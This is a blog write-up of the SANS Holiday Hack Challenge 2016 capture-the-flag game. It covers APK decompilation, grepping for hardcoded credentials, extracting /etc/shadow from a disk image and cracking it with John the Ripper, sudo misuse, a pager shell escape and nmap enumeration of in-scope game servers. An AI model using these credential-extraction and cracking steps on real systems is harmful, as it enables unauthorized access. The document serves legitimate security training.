Tag: 2016

SANS Holiday Hack Challenge 2016 – Update

The Awards Ceremony for the 2016 SANS Holiday Hack Challenge were held on February 1st @ 2pm ET 2017.  Ed Skoudis (of Counterhack.net, and SANS 560 fame) officiated the ceremony had the honour of announcing the winners.

I’m chuffed to announce that the solution (posted here) was called out as one of the 15 “Honourable Mentions”.  I’ll let you figure out which one on the list is me 😉

Here’s the official results announcement:

https://holidayhackchallenge.com/2016/winners_answers.html

 

SANS Holiday Hack Challenge 2016

Introduction

The following is a write-up solution for the SANS Holiday Hack Challenge 2016. As I mentioned, this is write-up solution to the challenge, so… uh… spoiler alert!

Table of Contents:


Part 1: A Most Curious Business Card

Santa’s business card was left behind after his abduction.  It reads:

santawclaus_shadow

Santa (@SantaWClaus) tweets a lot, but his tweets don’t seem to make much sense.

santa_tweets

The content of the tweets use Christmas themed words, and some punctuation marks, but they don’t seem to say anything.  They don’t look like they are encrypted or encoded using a traditional method because there are many repeated words and punctuation marks, and just generally they don’t seem to have enough randomness that would come along with encryption or encoding.

If his individual tweets don’t seem to make sense, and because there is just so many tweets, maybe there is a greater pattern that we can’t see until we take a step back and look at all of his tweets.  Moreover, with the variable font sizes, it might just be nice to normalize all the tweets into a common font.  Twlet is a handy tool for downloading tweets and dumping them into single document (Excel).

Immediately after getting the tweets into Excel, there appears to be something usual about them.  There is some level of spatial correlation between the tweets, almost like all of the tweets belong to a greater entity.  After converting the tweets to a tiny monospaced font, replacing some of the encoded characters, and rotating the result we get this:

bug

bounty

1) What is the secret message in Santa’s tweets ?

Clearly, the hidden message is BUG BOUNTY.

Let’s take a look at Santa’s Instagram pictures… this one in particular has a lot going on in it.

15275692_1825886877683854_211464858007240704_n

I’m drawn to the laptop screen… does it say SantaGram at the top ?

santagram

Yep, it sure does.  I wonder where that ZIP file is located ?  I’ve spoken to all of the elves in the North Pole, and none of them seem to want to cough up this ZIP file.  We’ve already used the Twitter feed to get the secret message, so it’s unlikely there is anything else on Twitter.

Wait… what’s written on that paper under the Violent Python book ? is that a FQDN ? It’s a bit northpolewonderlandhard to make out, but it looks like it says www.northpolewonderland.com.  Interesting… I wonder what is there… let’s find out.
www-northpolewonderland-com

Hmm… not very interesting.  We’ve already seen this card…   And here much head scratching occurred… as will be shown below, the Oracle Tom Hessman proclaims that DirBusting won’t help me, so performing a Forced Browse of the web site is pointless. Much head scratching continues…   Looking at the picture of the laptop from Instagram, I looked at the NORAD Santa Tracker application and noticed that it appeared to be running in a browser.  Could that ZIP file be on the http://www.northpolewonderland.com website ?  Let’s give it try… http://www.northpolewonderland.com/SantaGram_v4.2.zip

Success!  Wow… that’s a pretty subtle puzzle to solve.

Now let’s crack that ZIP file open and see what lay inside…

unzip

Of course it is password protected.  But it appears that there’s an Android APK file inside.  The password for the ZIP file is a bit of a mystery.  At this point in the challenge we’ve really only discovered a business card, a ZIP file, and the secret message in Twitter.  Could the Twitter message be the password ?

  • BUG BOUNTY  nope
  • bug bounty … nope
  • BUGBOUNTY … nope
  • bugbounty … success!

2) What is in the ZIP file distributed by Santa’s team ?

The ZIP file contains an Android APK file called SantaGram_4.2.apk


Part 2: Awesome Package Konveyance

First thing is first.  We need to decompile the APK file.  The APKtool application can be used to achieve this.  Like most Android applications, once decompiled the APK file is reverted into an avalanche of JAVA files, SMALI files, and deep directory structures.  Since one of our objectives is to locate an audio file, let’s start there and see if we can find it.

As mentioned, there are tonnes of files in the decompiled Android application… let’s use the find command how big our “hay stack” is going to be.

$ find SantaGram/ -type f | wc -l
2131

Oh boy… 2,131 files to sift through.  Let’s see if we can narrow it down.  We’re looking for an audio file, so let’s assume that that means it’s not a JAVA file.

$ find SantaGram/ -type f | grep -v -e .java$ | wc -l
409

That’s better, but there’s still alot of files to go through.  Let’s see what kind of files we’re hitting on.

$ find SantaGram/ -type f | grep -v -e .java$ | tail
SantaGram/res/drawable-hdpi-v4/abc_popup_background_mtrl_mult.9.png
SantaGram/res/drawable-hdpi-v4/abc_list_divider_mtrl_alpha.9.png
SantaGram/res/drawable-hdpi-v4/abc_ic_star_half_black_16dp.png
SantaGram/res/drawable-hdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
SantaGram/res/drawable-hdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
SantaGram/res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
SantaGram/res/drawable-hdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
SantaGram/res/drawable-hdpi-v4/abc_ic_search_api_mtrl_alpha.png
SantaGram/res/drawable-hdpi-v4/abc_scrubber_control_to_pressed_mtrl_000.png
SantaGram/AndroidManifest.xml

Well, assuming that our audio file is not masquerading as a PNG or XML file, let’s filter those out too.

$ find SantaGram/ -type f | grep -v -e .java$ -e .xml$ -e .png$ | wc -l
2

Now we’re getting somewhere.  Let’s see what we found.

$ find SantaGram/ -type f | grep -v -e .java$ -e .xml$ -e .png$ 
SantaGram/res/drawable/demo_img.jpg
SantaGram/res/raw/discombobulatedaudio1.mp3

There’s a JPG that we don’t care about, but there is also an MP3 file which is a compressed audio file format.  I think we may have just found our audible component.

That was the easy part.  Now let’s see if we can find the embedded username and password.  This is going to be a much harder “needle” to find as it could be hidden in any number of different “haystacks”.  Let’s assume that the embedded credentials are named something obvious, vis-a-vis a variable or constant whose name contains the word “user” (and similarly a password object containing the fragment “pass”).  Let’s see what some find searches turn up.

$ find SantaGram/ -type f | xargs grep -i user | wc -l
2456

Ugh.  I was afraid of that.  In all the files in the decompiled APK file, there are 2,456 lines that matched the case-insensitive string “user”.  I really don’t want to look at that many lines of JAVA.  Let’s see how many hits for “pass” we get.

$ find SantaGram/ -type f | xargs grep -i pass | wc -l
81

Much better.  It’s pretty reasonable to assume that if we find the embedded username in one specific file, the password will likely be in the same file.  So let’s take a look at the 81 hits for “pass” we got.

$ find SantaGram/ -type f | xargs grep -i pass
SantaGram/res/layout/sign_up.xml: 
SantaGram/res/layout/sign_up.xml: 
SantaGram/res/layout/login.xml: 
SantaGram/res/layout/login.xml: 
SantaGram/res/layout/login.xml: 
SantaGram/res/layout/login.xml: 
SantaGram/res/values/ids.xml: false
SantaGram/res/values/ids.xml: false
SantaGram/res/values/ids.xml: false
SantaGram/src/android/support/v4/j/a/e.java: return ((AccessibilityNodeInfo)obj).isPassword();
SantaGram/src/android/support/v4/j/a/c.java: stringbuilder.append("; password: ").append(k());
SantaGram/src/android/support/v7/widget/ao$r.java: Log.e("RecyclerView", "Passed over target position while smooth scrolling.");
SantaGram/src/android/support/v7/widget/ao.java: Log.e("RecyclerView", "Passed over target position while smooth scrolling.");
SantaGram/src/android/support/v7/widget/z.java:import android.text.method.PasswordTransformationMethod;
SantaGram/src/android/support/v7/widget/z.java: if (!(a.getTransformationMethod() instanceof PasswordTransformationMethod))
SantaGram/src/android/support/v7/widget/f.java: throw new IllegalArgumentException("only remove and update ops can be dispatched in first pass");
SantaGram/src/com/parse/NetworkUserController.java: public j requestPasswordResetAsync(String s)
SantaGram/src/com/parse/NetworkUserController.java: return ParseRESTUserCommand.resetPasswordResetCommand(s).executeAsync(client).k();
SantaGram/src/com/parse/ParseUser$7.java: final String val$oldPassword;
SantaGram/src/com/parse/ParseUser$7.java: if (val$oldPassword == null) goto _L4; else goto _L3
SantaGram/src/com/parse/ParseUser$7.java: val$user.setPassword(val$oldPassword);
SantaGram/src/com/parse/ParseUser$7.java: val$user.revert("password");
SantaGram/src/com/parse/ParseUser$7.java: val$user.revert("password");
SantaGram/src/com/parse/ParseUser$7.java: revert("password");
SantaGram/src/com/parse/ParseUser$7.java: val$oldPassword = s1;
SantaGram/src/com/parse/ParseRESTUserCommand.java: hashmap.put("password", s1);
SantaGram/src/com/parse/ParseRESTUserCommand.java: public static ParseRESTUserCommand resetPasswordResetCommand(String s)
SantaGram/src/com/parse/ParseRESTUserCommand.java: return new ParseRESTUserCommand("requestPasswordReset", com.parse.a.b.b.b, hashmap, null);
SantaGram/src/com/parse/ParseUser.java:// LogInCallback, LogOutCallback, AuthenticationCallback, RequestPasswordResetCallback, 
SantaGram/src/com/parse/ParseUser.java: private static final String KEY_PASSWORD = "password";
SantaGram/src/com/parse/ParseUser.java: throw new IllegalArgumentException("Must specify a password for the user to log in with");
SantaGram/src/com/parse/ParseUser.java: public static void requestPasswordReset(String s)
SantaGram/src/com/parse/ParseUser.java: ParseTaskUtils.wait(requestPasswordResetInBackground(s));
SantaGram/src/com/parse/ParseUser.java: public static j requestPasswordResetInBackground(String s)
SantaGram/src/com/parse/ParseUser.java: return getUserController().requestPasswordResetAsync(s);
SantaGram/src/com/parse/ParseUser.java: public static void requestPasswordResetInBackground(String s, RequestPasswordResetCallback requestpasswordresetcallback)
SantaGram/src/com/parse/ParseUser.java: ParseTaskUtils.callbackOnMainThreadAsync(requestPasswordResetInBackground(s), requestpasswordresetcallback);
SantaGram/src/com/parse/ParseUser.java: String getPassword()
SantaGram/src/com/parse/ParseUser.java: return getString("password");
SantaGram/src/com/parse/ParseUser.java: parseoperationset.remove("password");
SantaGram/src/com/parse/ParseUser.java: public void setPassword(String s)
SantaGram/src/com/parse/ParseUser.java: put("password", s);
SantaGram/src/com/parse/ParseUser.java: if (!ParseTextUtils.isEmpty(getPassword()))
SantaGram/src/com/parse/ParseUser.java: j1 = j.a(new IllegalArgumentException("Password cannot be missing or blank"));
SantaGram/src/com/parse/ParseUser.java: final String oldPassword = ((ParseUser) (user)).getPassword();
SantaGram/src/com/parse/ParseUser.java: ((ParseUser) (user)).setPassword(getPassword());
SantaGram/src/com/parse/ParseUser.java: final String val$oldPassword;
SantaGram/src/com/parse/ParseUser.java: if (oldPassword == null) goto _L4; else goto _L3
SantaGram/src/com/parse/ParseUser.java: user.setPassword(oldPassword);
SantaGram/src/com/parse/ParseUser.java: user.revert("password");
SantaGram/src/com/parse/ParseUser.java: user.revert("password");
SantaGram/src/com/parse/ParseUser.java: revert("password");
SantaGram/src/com/parse/ParseUser.java: oldPassword = s1;
SantaGram/src/com/parse/ParseUser.java: if (parseoperationset.containsKey("password"))
SantaGram/src/com/parse/ParseUser.java: ((ParseOperationSet) (obj)).remove("password");
SantaGram/src/com/parse/ParseUser.java: if (isDirty("password"))
SantaGram/src/com/parse/ParseUser.java: throw new ParseException(-1, "Unable to saveEventually on a ParseUser with dirty password");
SantaGram/src/com/parse/ParseApacheHttpClient.java: throw new IllegalArgumentException("ParseHttpRequest passed to getApacheRequest should not be null.");
SantaGram/src/com/parse/ParseApacheHttpClient.java: throw new IllegalArgumentException("HttpResponse passed to getResponse should not be null.");
SantaGram/src/com/parse/ParseRelationOperation.java: throw new IllegalArgumentException((new StringBuilder()).append("Related object object must be of class ").append(s.getTargetClass()).append(", but ").append(targetClass).append(" was passed in.").toString());
SantaGram/src/com/parse/ParseRelationOperation.java: throw new IllegalArgumentException((new StringBuilder()).append("Related object object must be of class ").append(((ParseRelationOperation) (obj)).targetClass).append(", but ").append(targetClass).append(" was passed in.").toString());
SantaGram/src/com/parse/ParseException.java: public static final int PASSWORD_MISSING = 201;
SantaGram/src/com/parse/ParseUserController.java: public abstract j requestPasswordResetAsync(String s);
SantaGram/src/com/parse/RequestPasswordResetCallback.java:public interface RequestPasswordResetCallback
SantaGram/src/com/northpolewonderland/santagram/Login$3$2.java:import com.parse.RequestPasswordResetCallback;
SantaGram/src/com/northpolewonderland/santagram/Login$3$2.java: ParseUser.requestPasswordResetInBackground(a.getText().toString(), new Login._cls3._cls1._cls1(this));
SantaGram/src/com/northpolewonderland/santagram/Login$3$2.java: implements RequestPasswordResetCallback
SantaGram/src/com/northpolewonderland/santagram/Login$3$2.java: parseexception.b("We've sent you an email to reset your password!").a(0x7f070018).a("OK", null);
SantaGram/src/com/northpolewonderland/santagram/SplashScreen.java: jsonobject.put("password", "busyreindeer78");
SantaGram/src/com/northpolewonderland/santagram/Login.java:import com.parse.RequestPasswordResetCallback;
SantaGram/src/com/northpolewonderland/santagram/Login.java: ParseUser.requestPasswordResetInBackground(a.getText().toString(), new RequestPasswordResetCallback(this) {
SantaGram/src/com/northpolewonderland/santagram/Login.java: parseexception.b("We've sent you an email to reset your password!").a(0x7f070018).a("OK", null);
SantaGram/src/com/northpolewonderland/santagram/Login$3$1.java:import com.parse.RequestPasswordResetCallback;
SantaGram/src/com/northpolewonderland/santagram/Login$3$1.java: ParseUser.requestPasswordResetInBackground(a.getText().toString(), new RequestPasswordResetCallback() {
SantaGram/src/com/northpolewonderland/santagram/Login$3$1.java: parseexception.b("We've sent you an email to reset your password!").a(0x7f070018).a("OK", null);
SantaGram/src/com/northpolewonderland/santagram/SignUp.java: EditText passwordTxt;
SantaGram/src/com/northpolewonderland/santagram/SignUp.java: inputmethodmanager.hideSoftInputFromWindow(passwordTxt.getWindowToken(), 0);
SantaGram/src/com/northpolewonderland/santagram/SignUp.java: passwordTxt = (EditText)findViewById(0x7f0d00e3);
SantaGram/src/com/northpolewonderland/santagram/SignUp.java: if (a.usernameTxt.getText().toString().matches("") || a.passwordTxt.getText().toString().matches("") || a.fullnameTxt.getText().toString().matches(""))
SantaGram/src/com/northpolewonderland/santagram/SignUp.java: view.setPassword(a.passwordTxt.getText().toString());
SantaGram/src/com/northpolewonderland/santagram/b.java: jsonobject.put("password", "busyreindeer78");

Ugh… even though this is only 81 lines of JAVA, it seemed like a lot more.  But it looks like it paid off.  Check out that last hit.

jsonobject.put("password", "busyreindeer78");

Let’s checkout the lines before and after this line in the b.java files for the embedded username.  I’m optimistic that it’ll be there.

$ grep -B1 -A1 busyreindeer78 SantaGram/src/com/northpolewonderland/santagram/b.java 
 jsonobject.put("username", "guest");
 jsonobject.put("password", "busyreindeer78");
 jsonobject.put("type", "usage");

It appears our assumptions were correct.  The embedded username and password were named “sensibly” and they were located in close proximity to each other.  So there we have it.

3) What username and password are embedded in the APK file?

The embedded username is guest and the embedded password is busyreindeer78

4) What is the name of the audible component (audio file) in the SantaGram APK file?

The name of the audible component (audio file) is res/raw/discombobulatedaudio1.mp3

1of7


Part 3: A Fresh-Baked Holiday Pi

So, we now have a quest to collect the parts of a Cranberry Pi.  There appear to be 5 components to the Cranberry Pi.  After much wandering and scouring rooms for gear the parts have been assembled.  The locations of each component are:

  • A Cranberry Pi board
    • I forget where I got this…
  • A power cable
    • By the snowman in the North Pole
  • An SD card
    • At the end of the pier besides Santa’s cloud workshop.
  • A heat-sink
    • In the attic of Elf House #2
  • An HDMI cable
    • In the reindeer stable at the top of the Workshop (and let me tell you… this one stymied me for the longest time).

Once the board components are collected, you need to return to Holly and she will give you an Cranberry Pi image file, but before we can use it we need to tell her the password for the cranpi user.

Given the hints about John the Ripper and the Rockyou password word list, I think the best course of action will be to try and collect the /etc/passwd and /etc/shadow file from the image and see if John the Ripper can bruteforce the password from the rockyou.txt password list.

So, after collecting the image (and unpacking it) and downloading the rockyou.txt wordlist (and unpacking it) let’s get cracking.  The first job is to understand what we have here in the cranbian-jessie.img file.  The Sleuth Kit mmls tool is brilliant at analyzing images.

$ ls -al
total 1356812
drwxrwxr-x 2 constable constable 4096 Dec 14 11:13 .
drwxr-xr-x 3 constable constable 4096 Dec 14 11:13 ..
-rw-r--r-- 1 constable constable 1389363200 Dec 14 11:13 cranbian-jessie.img

$ mmls cranbian-jessie.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start      End        Length    Description
000: Meta    0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000008191 0000008192 Unallocated
002: 000:000 0000008192 0000137215 0000129024 Win95 FAT32 (0x0c)
003: 000:001 0000137216 0002713599 0002576384 Linux (0x83)

Looks like we’ve got a couple partitions, a FAT32 partition and a Linux partition.  Given that the Cranberry Pi likely runs Linux, let’s dig deeper into this partition and see if we can’t mount the filesystem therein.  We’ll need to skip over all the other junk in this image, but that shouldn’t be a problem, we can use the offset option in the mount command (careful – mmls shows the partition offset in blocks, but mount is expecting the offset in bytes!)

$ sudo mount -o offset=$((512 * 137216)) cranbian-jessie.img /mnt/ewf
[sudo] password for constable: 

$ ls -al /mnt/ewf
total 132
drwxr-xr-x 21 root root 36864 Dec 5 16:09 .
drwxr-xr-x 4 root root 4096 Dec 13 14:00 ..
drwxr-xr-x 2 root root 4096 Nov 23 10:11 bin
drwxr-xr-x 2 root root 4096 Sep 22 23:52 boot
drwxr-xr-x 4 root root 4096 Sep 22 22:23 dev
drwxr-xr-x 77 root root 4096 Dec 5 11:25 etc
drwxr-xr-x 3 root root 4096 Nov 21 10:25 home
drwxr-xr-x 17 root root 4096 Nov 23 10:07 lib
drwx------ 2 root root 16384 Sep 22 23:52 lost+found
drwxr-xr-x 2 root root 4096 Sep 22 22:20 media
drwxr-xr-x 2 root root 4096 Sep 22 22:20 mnt
drwxr-xr-x 3 root root 4096 Sep 22 22:27 opt
drwxr-xr-x 2 root root 4096 Jan 6 2015 proc
drwx------ 2 root root 4096 Nov 23 10:14 root
drwxr-xr-x 5 root root 4096 Sep 22 22:28 run
drwxr-xr-x 2 root root 4096 Sep 22 22:39 sbin
drwxr-xr-x 2 root root 4096 Sep 22 22:20 srv
drwxr-xr-x 2 root root 4096 Apr 12 2015 sys
drwxrwxrwt 7 root root 4096 Nov 17 15:17 tmp
drwxr-xr-x 10 root root 4096 Sep 22 22:20 usr
drwxr-xr-x 11 root root 4096 Nov 23 10:10 var

Let’s grab the /etc/passwd and /etc/shadow file, and unshadow it, well… let’s narrow things down and not unshadow the whole thing, lets just unshadow the cranpi user.

$ sudo unshadow /mnt/ewf/etc/passwd /mnt/ewf/etc/shadow | \\
grep cranpi > unshadowed

$ cat unshadowed
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:1000:1000:,,,:/home/cranpi:/bin/bash

Alright, time to see what John the Ripper can do.  Ugh – I sure hope this wordlist approach works, the $6 indicates that this password is hashed with SHA-512, cracking it is going to be prohibitively difficult.

 $ john --wordlist=rockyou.txt unshadow 
Loaded 1 password hash (sha512crypt [64/64])
yummycookies (cranpi)
guesses: 1 time: 0:00:19:50 DONE (Tue Dec 13 17:01:24 2016) c/s: 381 trying: yummycookies

It took about 20 minutes, but John the Ripper found the password.  It’s yummycookies.

After returning to Holly, she instructed me to go forth and hack into the terminals in the North Pole.  So, let’s begin.


Elf House #2 Terminal

This terminal connects as the user scratchy and asks to extract two parts of the passphrase from the /out.pcap file (which is owned by itchy) and has strict permissions which prevent anyone but itchy from reading it.

elf_house_2_1

This is one of those situations where keeping focused on the problem helps.  We need to access that out.pcap file.  But only the itchy user can do that.  So we need to find a way to become the itchy user, or find a way to subvert this restriction.  Becoming itchy seems a lot easier.

The subtle sudo error at the top of the terminal seems to be interesting.  Let’s see if the scratchy user has any interesting sudo permissions.

elf_house_2_2

I’m not sure what value being able to run tcpdump as a non-root (itchy) user is.  But being able to run strings as itchy is going to be super handy.  Let’s get started.  As you might expect there is a lot of string noise in the pcap file… but… running sudo -u itchy /usr/bin/strings  /out.pcap | more

elf_house_2_3

A GET request to /firsthalf.html, and a hidden HTML form field.  The form element name part1 seems to be a bit of smoking gun.  Let’s file “santasli” away as a possible fragment of the passphrase.  Let’s keep looking…

elf_house_2_3b

Another GET request, but this time to /secondhalf.bin.  Hmm sounds like it might be binary encoded.  The server response is Content-Type: application/octet-stream which means the response data is not ASCII text.  Let’s try doing a UNICODE strings search.

elf_house_2_4

Well now, that was easy.  Putting it all together it appears the passphrase is santaslittlehelper.

The room behind the locked door is called Elf House #2 Room 2, and an elf named Alabaster Snowball can be found here offering help with cheating with the dungeon game.

elf_house_2_room2


Workshop (South) Terminal

This terminal presents us with the following challenge:

workshop_door_key0

Seems straightforward.  Let’s begin with a command that will recurse the folder structure of the elf user’s home directory (find .).

workshop_door_key1

Well, well, well… that looks promising.  Let’s start descending this folder structure…

workshop_door_key2

Well, that wasn’t too hard.

Now that we have the password to the Workshop door, let’s see what’s behind it.  Santa’s Office, and another Cranberry Pi terminal protected door.


Santa’s Office Terminal

The terminal in Santa’s office presents us with this challenge…

santas_office1

Clearly we have a Wargames fan in the Holiday Hack Challenge team. Let’s see what happens if we follow the script.

GREETINGS PROFESSOR FALKEN.

Hello.

HOW ARE YOU FEELING TODAY?

I'm Fine. How are you?

EXCELLENT. IT'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT NUMBER ON 6/23/73?

People sometimes make mistakes.

YES THEY DO. SHALL WE PLAY A GAME?

Love to. How about Global Thermonuclear War?

WOULDN'T YOU PREFER A GOOD GAME OF CHESS?

Later. Let's play Global Thermonuclear War.

[fancy graphic of USA and Soviet Union]

WHICH SIDE DO YOU WANT?
  1.  UNITED STATES
  2.  SOVIET UNION
PLEASE CHOOSE ONE: 2

AWAITING FIRST STRIKE COMMAND
PLEASE LIST PRIMARY TARGETS BY CITY AND/OR COUNTY NAME:

Las Vegas

Low and behold look what we get:

santas_office2

The room behind Santa’s Office is called The Corridor. In this room is another password protected door, and a Netwars coin… is that hole in the floor ?

corridor1


Workshop – Train Station Terminal

Another room, another terminal.  This terminal’s challenge starts like this…

train_station1

After mucking about, with this menu I realized a few things…

  1. It’s case sensitive – ugh.
  2. To START the train, the brakes must be off (BRAKEOFF)
  3. To START the train, I’ll need a password.
  4. There’s not much here to attack…. until of course I sought some HELP 🙂

The HELP menu item presented me with an interesting document.  Interesting for a couple of reasons…

train_station2

Hello full path and filename… /home/conductor/TrainHelper.txt.  But wait… that reversed text, it seems very familiar… is… no… is it… it can’t be… it looks like less.  Let’s try an “!” to see if we can jump out of the program and get a shell.

train_station3

Ah… shell access.  Let’s see what else is here.

train_station4

Hmm, ok there’s the help file that we were just reading.  But there are two other files.  I wonder what they are…

train_station5

Ick.  Looks like a binary executable.  Let’s try the other one and hope for something a bit easier.

train_station6

Looks like it’s a BASH script… wait… is that a password variable I see ? PASS=”24fb3e89ce2aa0ea422c3d511d40dd84″.   Looking deeper into the script, I can see that after entering this horribly complicated password the ActivateTrain command is executed.  I’m all for taking the lazy route, so let’s just invoke ActivateTrain and see what happens.

train_station7

45108174
Time travel to 1978 ?  Cool!

So – there doesn’t seem to be much to do in 1978, so let’s return to 2016 using the same technique.  I’m sure we’re not done with 1978 yet.


Workshop (North) Terminal

The terminal presents a challenge to a text based adventure game.  There appear to be two ways to obtain the passphrase; play the game and win, or cheat.

Let’s try playing the game first.  Not knowing the rules, it took about 20 minutes to infer the rules; as I move, the bats, pits and Wumpus move around too… (well maybe not pits…) But after many… many deaths.  My arrow flew straight and true and slew the Wumpus.

workshop_door2_2

As time permits, I’ll try to hack my way to the solution…

What lies behind this door is a room called DFER with two jailed reindeer, and precious little else.  Not sure what to do here, except pickup the coin.

Is that a crack in the back wall ?

dfer1

5) What is the password for the “cranpi” account on the Cranberry Pi system?

The password for the cranpi user is yummycookies.

6) How did you open each terminal door and where had the villain imprisoned Santa?

As shown above, all of the terminal-locked doors were unlocked using different techniques, I’ll summarize below (for more exhaustive explanation see above):

  • Elf-House #2
    • I used sudo -u itchy /usr/bin/strings /out.pcap and looked for ASCII and UNICODE strings.
  • Santa’s Office
    • I followed the Wargames script.
  • Workshop (South)
    • Using find . and properly escaping nasty directory names.
  • Workshop (North)
    • I slew the WUMPUS, with an arrow that flew straight and true.
  • Workshop Train Station
    • I sought HELP, then dropped to shell from within vi and ran ./ActivateTrain

So… where did the villian imprison Santa Claus ?  Santa was imprisioned in the Dungeon For Errant Reindeer (DFER) in 1978.  Poor guy… as if the ’70s weren’t bad enough 😦

santa.PNG


Part 4: My Gosh… It’s Full of Holes

Our task now is to…

Analyze the clues you’ve been provided on Santa’s business card and the SantaGram APK file to identify target systems. Then, check with Tom Hessman at the North Pole to confirm that each IP address you find is included in the scope of your work. Each server has at least one flaw you can exploit to retrieve a small audio file on the system. If you get stuck, feel free to visit the elves of the North Pole for hints about various kinds of vulnerabilities and attacks you might find useful.

So, let’s get cracking.  Let’s start with the APK file.  The reason I’m starting here is that the in the list of targets, there seem to be 5 targets (shown below in italics) are are likely to be found in the APK file based solely on their names.

  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

I’m starting with the debug server, because debugging is both; easy to spot in the code (there will be strings with “debug” all over the place), and it’s also likely to be something that produces a lot attack-able information.  So let’s start the process by searching the decompiled APK file for the string “debug”.

$ find SantaGram_4.2/ -type f | xargs grep -i debug
SantaGram_4.2/res/values/strings.xml: http://dev.northpolewonderland.com/index.php
SantaGram_4.2/res/values/strings.xml: false
SantaGram_4.2/res/values/public.xml: 
SantaGram_4.2/res/values/public.xml: 
SantaGram_4.2/smali/android/support/v7/view/menu/h.smali: .annotation runtime Landroid/view/ViewDebug$CapturedViewProperty;
SantaGram_4.2/smali/android/support/v7/view/menu/h.smali: .annotation runtime Landroid/view/ViewDebug$CapturedViewProperty;
SantaGram_4.2/smali/android/support/v7/widget/ActionMenuView$c.smali: .annotation runtime Landroid/view/ViewDebug$ExportedProperty;
SantaGram_4.2/smali/android/support/v7/widget/ActionMenuView$c.smali: .annotation runtime Landroid/view/ViewDebug$ExportedProperty;
SantaGram_4.2/smali/android/support/v7/widget/ActionMenuView$c.smali: .annotation runtime Landroid/view/ViewDebug$ExportedProperty;
SantaGram_4.2/smali/android/support/v7/widget/ActionMenuView$c.smali: .annotation runtime Landroid/view/ViewDebug$ExportedProperty;
SantaGram_4.2/smali/android/support/v7/widget/ActionMenuView$c.smali: .annotation runtime Landroid/view/ViewDebug$ExportedProperty;
SantaGram_4.2/smali/com/parse/Parse.smali:.field public static final LOG_LEVEL_DEBUG:I = 0x3
SantaGram_4.2/smali/com/northpolewonderland/santagram/b.smali: invoke-static {}, Landroid/os/Debug;->getNativeHeapAllocatedSize()J
SantaGram_4.2/smali/com/northpolewonderland/santagram/SplashScreen.smali: invoke-static {}, Landroid/os/Debug;->getNativeHeapAllocatedSize()J
SantaGram_4.2/smali/com/northpolewonderland/santagram/EditProfile.smali: const-string v3, "Remote debug logging is Enabled"
SantaGram_4.2/smali/com/northpolewonderland/santagram/EditProfile.smali: const-string v1, "debug"
SantaGram_4.2/smali/com/northpolewonderland/santagram/EditProfile.smali: const-string v3, "Remote debug logging is Disabled"
SantaGram_4.2/smali/com/northpolewonderland/santagram/EditProfile.smali: const-string v3, "Error posting JSON debug data: "

Gravy with our first attempt.  The first hit shows:

http://dev.northpolewonderland.com/index.php

Seems like we have our first target, though we should verify with Tom Hessman first.

$ nslookup dev.northpolewonderland.com
Server: 192.168.1.1
Address: 192.168.1.1#53

Non-authoritative answer:
Name: dev.northpolewonderland.com
Address: 35.184.63.245

And the Oracle proclaims…

dev-northpolewonderland-com1

Let’s check out the rest of that strings.xml file.



 Navigate home
 %1$s, %2$s
 %1$s, %2$s, %3$s
 Navigate up
 More options
 Done
 See all
 Choose an app
 OFF
 ON
 Search…
 Clear query
 Search query
 Search
 Submit query
 Voice search
 Share with
 Share with %s
 Collapse
 999+
 SantaGram
 https://analytics.northpolewonderland.com/report.php?type=launch
 https://analytics.northpolewonderland.com/report.php?type=usage
 4.2
 SantaGram
 android.support.design.widget.AppBarLayout$ScrollingViewBehavior
 http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5
 android.support.design.widget.BottomSheetBehavior
 %1$d / %2$d
 http://dev.northpolewonderland.com/index.php
 false
 http://dungeon.northpolewonderland.com/
 http://ex.northpolewonderland.com/exception.php
 Comments

download

More potential targets.  I see…

https://analytics.northpolewonderland.com/report.php?type=launch
https://analytics.northpolewonderland.com/report.php?type=usage
http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5
http://dev.northpolewonderland.com/index.php
http://dungeon.northpolewonderland.com/
http://ex.northpolewonderland.com/exception.php

That looks like 6 URL targets in total, to 5 different endpoints.

Let’s do some DNS lookups and check with the Oracle.

  • analytics.northpolewonderland.com
    • 104.198.252.157
    • analytics-northpolewonderland-com1
  • ads.northpolewonderland.com
    • 104.198.221.240
    • ads-northpolewonderland-com1
  • dev.northpolewonderland.com
    • 35.184.63.245
    • dev-northpolewonderland-com1
  • dungeon.northpolewonderland.com
    • 35.184.47.139
    • dungeon.northpolewonderland.com1.PNG
  • ex.northpolewonderland.com
    • 104.154.196.33
    • ex.northpolewonderland.com1.PNG

So there we have 5 in-scope targets.


analytics.northpolewonderland.com [Method 1] (104.198.252.157)

We have a couple URLs that point to this endpoint.

At first blush, we see PHP is involved and that’s valuable intel – while we can’t do anything with this knowledge yet, it may be useful later.  Also, we see a parameter in the URL, perhaps there is an opportunity to manipulate this parameter to our purpose.  There is a lot of  possibility here.  But… before we go down any rabbit holes, let’s run an Nmap scan against this host to see if there are any other services running aside from a web application on tcp/443.

analytics-northpolewonderland-com-nmap

Ok… not much showing up here – just SSH on tcp/22, and HTTPS on tcp/443.  One of the elves in the North Pole was talking about having success using Nmap scans with the http-enum NSE script.  Let’s give it a go.

analytics-northpolewonderland-com-nmap-http-enum

So, it looks like the http-enum NSE script found a couple of resources:

  • /login.php
    • This could be interesting.
  • /.git/HEAD
    • I’m not sure what’s in a HEAD file…

Let’s take a look at these resources…

Starting with the /login.php resource, we get an interesting little login page.

analytics-northpolewonderland-com-login1

And for the /.git/HEAD resource we wind up downloading a 23-byte ASCII file with the following contents:

ref: refs/heads/master

I’m not sure about the value of this HEAD file, but I think the login page has promise.  Maybe this /.git/HEAD file will prove valuable later on.  We found some embedded credentials in the APK (guest|busyreindeer78), let’s try those in the login page.

analytics-northpolewonderland-com-login2

